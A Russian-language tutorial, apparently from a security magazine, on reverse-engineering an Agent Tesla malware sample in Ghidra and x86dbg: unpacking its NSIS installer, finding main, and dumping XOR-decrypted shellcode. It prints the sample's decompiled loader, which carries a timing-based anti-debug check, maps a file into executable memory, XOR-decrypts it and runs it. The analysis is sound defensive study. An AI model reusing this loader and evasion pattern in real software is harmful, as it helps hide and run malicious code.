Agent Tesla. Учимся реверсить боевую малварь в Ghidra

Недавно мне попался интересный экземпляр малвари под названием Agent Tesla. Он распространен и используется по сей день (семпл 2023 года). Предлагаю попробовать исследовать его и посмотреть, что внутри у боевой малвари.

Кроме того, мы столкнемся:

  • с распаковкой инсталлятора NSIS и анализом полученного инсталляционного скрипта, который нам поможет в распаковке;
  • поиском функции main при ее обвязке в CRT (можно будет удивиться, сколько кода неявно закидывает компилятор в .exe);
  • расшифровкой и дампингом шелл‑кода и предварительным поиском его по функции выделения памяти;
  • правильной загрузкой полученного шелл‑кода в дизассемблер.

В этот раз я отойду от своей традиции использовать IDA Pro для реверсинга: вместо этого возьмем Ghidra. С момента ее выпуска прошло уже несколько лет, она обзавелась внушительным списком багфиксов и новых фич, к тому же она бесплатна и постоянно обновляется.

ПОДГОТОВИТЕЛЬНЫЕ РАБОТЫ​

Начинаем этап предварительной разведки: закидываем семпл в детектор пакеров и протекторов DiE. Выясняем, что малварь поставляется в виде инсталлятора NSIS.

https://nsis.sourceforge.io/Can_I_decompile_an_existing_installer%3F .содержимое инсталлятора и получаем несколько файлов. Обрати внимание, что среди распакованных файлов должен быть скрипт NSIS, который содержит полезную информацию. Для распаковки я использовал устаревшую версию 7-Zip (поддержка извлечения скриптов начинается с версии 4.42 и прекращается в версии 15.06).

В этой части скрипта мы видим список файлов в инсталляторе и параметры запуска единственного .exe (это интересно и пригодится нам в дальнейшем). Среди прочих данных скрипта есть путь установки InstallDir $TEMP. Теперь посмотрим на PE-файл в DiE.

Видно, что файл написан на C/C++, скомпилирован для 32-битных систем и, судя по не особенно высокой энтропии, не запакован. Пришло время загрузить его в Ghidra.

РЕВЕРСИМ​

Среди функций, перечисленных в таблице импорта, есть упоминание VirtualAlloc. Она‑то нас и интересует, потому что малварь часто использует ее для выделения памяти под распаковку. Восстанавливаем перекрестную ссылку и видим функцию, в которой она вызывается.

Мы могли бы попробовать пойти «быстрым» путем: загрузить вредонос в отладчик, поставить бряк на VirtualAlloc и… обломаться, потому что Agent Tesla завершится раньше бряка. Поэтому всегда советую в первую очередь осмотреть интересные вызовы и прилегающий к ним код в статике.

Функция небольшая, приведу листинг декомпилятора Ghidra полностью. Тем более что она нам интересна почти вся.

Код:

BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3)
{
DWORD DVar1;
DWORD DVar2;
BOOL BVar3;
HANDLE hFile;
HANDLE hFileMappingObject;
LPVOID _Src;
code *_Dst;
int local_8;
DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 – DVar1 < 700) {
BVar3 = 0;
}
else {
hFile = CreateFileA(param_3,0x80000000,1,0×0,3,0×80,0x0);
if (hFile == 0xffffffff) {
BVar3 = 0;
}
else {
hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0×0);
if (hFileMappingObject == 0x0) {
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);
if (_Src == 0x0) {
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);
if (_Dst == 0x0) {
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
FID_conflict:_memcpy(_Dst,_Src,0x1de0);
for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
_Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];
}
(*_Dst)();
VirtualFree(_Dst,0,0×8000);
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
BVar3 = CloseHandle(hFile);
}
}
}
}
}
return BVar3;

Здесь сразу бросаются в глаза строки кода, содержащие простую антиотладку:

Код:

DVar1 = GetTickCount(); Sleep(702); DVar2 = GetTickCount(); if (DVar2 – DVar1 < 700) { BVar3 = 0; } else {

Это известный антиотладочный прием, который проверяет скорость выполнения кода. Если код выполняется слишком медленно (замеряем время выполнения в миллисекундах при помощи двух вызовов GetTickCount), переменная BVar3 принимает значение 0, и программа завершается.

Следующий интересный кусок кода открывает файл, и, если сделать это не получается, программа также завершается. Я не зря уже говорил, что нужно сначала изучить код в статике и только потом идти в отладчик. Так почему же исполняемый файл завершается до нашего брейк‑пойнта? Давай посмотрим, что за файл от нас тут ждут:Код:

Код:

hFile = CreateFileA(param_3,0x80000000,1,0×0,3,0×80,0x0); if (hFile == 0xffffffff) { BVar3 = 0;

Определяем функцию main​

Разумеется, нам интересен аргумент param_3, который сообщает функции CreateFileA путь к файлу. Этот аргумент выходит за пределы нашей функции, и мы находим единственную перекрестную ссылку на эту функцию, которая ведет нас вот в такой код. Обрати внимание на десять интересных функций, которые помогут косвенно определить, где мы находимся!

Код:

int __cdecl __scrt_common_main_seh(void) { code *pcVar1; bool bVar2; undefined4 uVar3; int iVar4; code **ppcVar5; _func_void_void_ptr_ulong_void_ptr **pp_Var6; byte *OpenFileArg; uint uVar7; BOOL unaff_ESI; undefined4 uVar8; undefined4 uVar9; void *local_14; // Интересная функция 1 uVar3 = ___scrt_initialize_crt(1); if (uVar3 != ‘\0’) { bVar2 = false; // Интересная функция 2 uVar3 = ___scrt_acquire_startup_lock(); if (DAT_0041cb9c != 1) { if (DAT_0041cb9c == 0) { DAT_0041cb9c = 1; iVar4 = __initterm_e(&DAT_00414238,&DAT_00414254); if (iVar4 != 0) { ExceptionList = local_14; return 0xff; } FUN_00407131(&DAT_0041422c,&DAT_00414234); DAT_0041cb9c = 2; } else { bVar2 = true; } // Интересная функция 3 ___scrt_release_startup_lock(uVar3); ppcVar5 = FUN_00401e6e(); if ((*ppcVar5 != 0x0) && (uVar3 = ___scrt_is_nonwritable_in_current_image(ppcVar5), // Интересная функция 4 uVar3 != ‘\0’)) { pcVar1 = *ppcVar5; uVar9 = 0; uVar8 = 2; uVar3 = 0; // Интересная функция 5 _guard_check_icall(); (*pcVar1)(uVar3,uVar8,uVar9); } pp_Var6 = FUN_00401e74(); if ((*pp_Var6 != 0x0) && (uVar3 = ___scrt_is_nonwritable_in_current_image(pp_Var6), // Интересная функция 6 uVar3 != ‘\0’)) { // Интересная функция 7 __register_thread_local_exe_atexit_callback(*pp_Var6); } // Интересная функция 8 ___scrt_get_show_window_mode(); // Интересная функция 9 OpenFileArg = __get_narrow_winmain_command_line(); unaff_ESI = main(0x400000,0,OpenFileArg); // ! uVar7 = FUN_00401fcb(); if (uVar7 != ‘\0’) { if (!bVar2) { __cexit(); } // Интересная функция 10 ___scrt_uninitialize_crt(‘\x01′,’\0’); ExceptionList = local_14; return unaff_ESI; } goto LAB_00401afd; } } FUN_00401e7a(7); LAB_00401afd: _exit(unaff_ESI);

В этом коде наша функция FUN_00401300 уже названа мной main, но как я узнал об этом? Смотрим внимательно и видим, что вызывающая main функция имеет название __cdecl __scrt_common_main_seh(void). То есть эта функция — начало рантайма CRT. Она делает необходимые настройки (в том числе SEH, как видно из названия) и затем уже загружает функцию main, которая имеет прототип main(int argc, const char **argv, const char **envp), то есть ожидает три аргумента. Далее вспоминаем, что наше приложение — 32-битное, поэтому вызывающий код будет выглядеть примерно так:

Код:

push edi push esi push [eax] call main

В декомпилированном листинге видим вот что (аргумент OpenFileArg уже назван мной):

Код:

___scrt_get_show_window_mode(); OpenFileArg = __get_narrow_winmain_command_line(); unaff_ESI = main(0x400000,0,OpenFileArg);

Аргументы извлекаются вызовом функции __get_narrow_winmain_command_line(), кроме того, вызывается метод ___scrt_get_show_window_mode(), который сигнализирует, показывать окно приложения или нет. Также видим функции инициализации и деинициализации CRT: ___scrt_initialize_crt и ___scrt_uninitialize_crt. Одним словом, мы однозначно определяем, что это обвязка CRT для функции main, и при помощи шагов, описанных выше, определяем точку входа в main.

Перед нами хороший пример того, сколько кода компилятор автоматически укладывает в создаваемое приложение. Мы пишем простой «Hello, world», состоящий из одной функции MessageBox, а в таблице импорта видим много интересного. Чтобы избежать подобного, нужно поколдовать над настройками проекта.

Расшифровываем шелл-код​

Итак, мы можем сделать вывод, что параметр param_3, ради которого мы провели это небольшое исследование, — это не что иное, как путь, передаваемый как аргумент командной строки. Вспоминаем, что в скрипте инсталлятора мы видели строчку, начинающуюся с ExecWait. Она говорит нам о том, что в качестве аргумента передается файл pgkayd.aq, который находится в числе файлов инсталлятора. Идем по функции main дальше и видим:

Код:

// Выделяем память _Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40); // Если вызов VirtualAlloc неудачный, производим очистку и идем на завершение if (_Dst == 0x0) { UnmapViewOfFile(_Src); CloseHandle(hFileMappingObject); CloseHandle(hFile); BVar3 = 0; } else { // Копируем данные в выделенную область при помощи memcpy FID_conflict:_memcpy(_Dst,_Src,0x1de0); // А это цикл расшифровки данных, основанный на XOR for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) { _Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc]; } // Вызов расшифрованного кода (*_Dst)();

Здесь много интересного: и вызов VirtualAlloc, за который мы уцепились, чтобы попасть сюда, и цикл, который ксорит данные по ключу, расшифровывая их, и вызов (*_Dst)();, который выполняет расшифрованный код. Я снабдил листинг подробными комментариями, чтобы была понятна логика.

Разумеется, тех же результатов мы смогли бы достичь, используя отладчик, но я захотел показать, как это можно сделать, не вылезая из дизассемблера и используя только статический анализ.Так, функции дешифровки и ее логика локализованы, теперь потребуется динамика! Расчехляем отладчик x86dbg, чтобы извлечь наш расшифрованный шелл‑код в отдельный файл.

Вытаскиваем шелл-код отдельным файлом​

Чтобы вытащить расшифрованный шелл‑код, нам нужно запустить файл в отладчике. Из файла скрипта NSIS помним, что для корректного запуска в наш exe’шник нужно передать в качестве аргумента файл pgkayd.aq. Все это можно настроить прямо в интерфейсе x86dbg.Настраиваем запуск вредоноса в x86dbgТеперь устанавливаем точку останова на VirtualAlloc и запускаемся. Таким образом мы проскочим антиотладку и проверку аргумента, который помешал бы нам нормально запуститься (потому что аргумент мы заполнили на предыдущем шаге), и остановимся на VirtualAlloc. Далее ее необходимо выполнить до ret, завершив работу функции. Наблюдаем следующую картину: в EAX у нас хранится адрес выделенной VirtualAlloc памяти, которую мы просматриваем в окне дампа. Мы знаем, что расшифровка пойдет в этот буфер, поэтому ставим точку останова по доступу на начало буфера, ожидая там появления данных. После этого зашифрованный код скопируется в буфер, и мы увидим это в окне дампа.Состояние Agent Tesla перед дешифровкой в x86dbgС учетом знаний, полученных на этапе статического анализа, мы знаем, что следом после копирования зашифрованных данных в буфер идет его расшифровка. Ставим бряк сразу после цикла расшифровки и видим, как данные в буфере изменились. Теперь, дизассемблировав их вручную (Follow in Disassembler в x86dbg), можно убедиться, что это осмысленный код.Цикл расшифровки и вызов шелл-кода в Agent TeslaКак видно на скрине, мы пришли к тому, что шелл‑код полностью расшифрован и готов выполняться. Теперь нам нужно его сохранить в отдельный файл, чтобы продолжить исследования позднее. Вызываем команду Follow in Memory Map из контекстного меню дампа и перемещаемся к карте памяти.Карта памяти Agent TeslaДалее жмем Dump Memory to File в контекстном меню и тем самым сохраняем выделенную память. Обрати внимание на права этой области памяти — ERW (то же, что RWX), говорящие о том, что память готова выполниться (красный флаг для антивируса!). Полученный дамп можно будет загрузить как файл в Ghidra для дальнейших исследований. Единственная загвоздка в том, что нужно вручную выбрать параметры анализа в дизассемблере.

Так как изначальный файл был 32-битный и собран в Visual Studio, такие же параметры выбираем для шелл‑кода.

ВЫВОДЫ​

Итак, в этой статье мы достаточно многому научились: разобрались с NSIS-скриптом, справились с распаковкой, расшифровали шелл‑код и сохранили нашу работу. И проделали это все в Ghidra (и в x86dbg), избавив себя от необходимости использовать платную IDA Pro.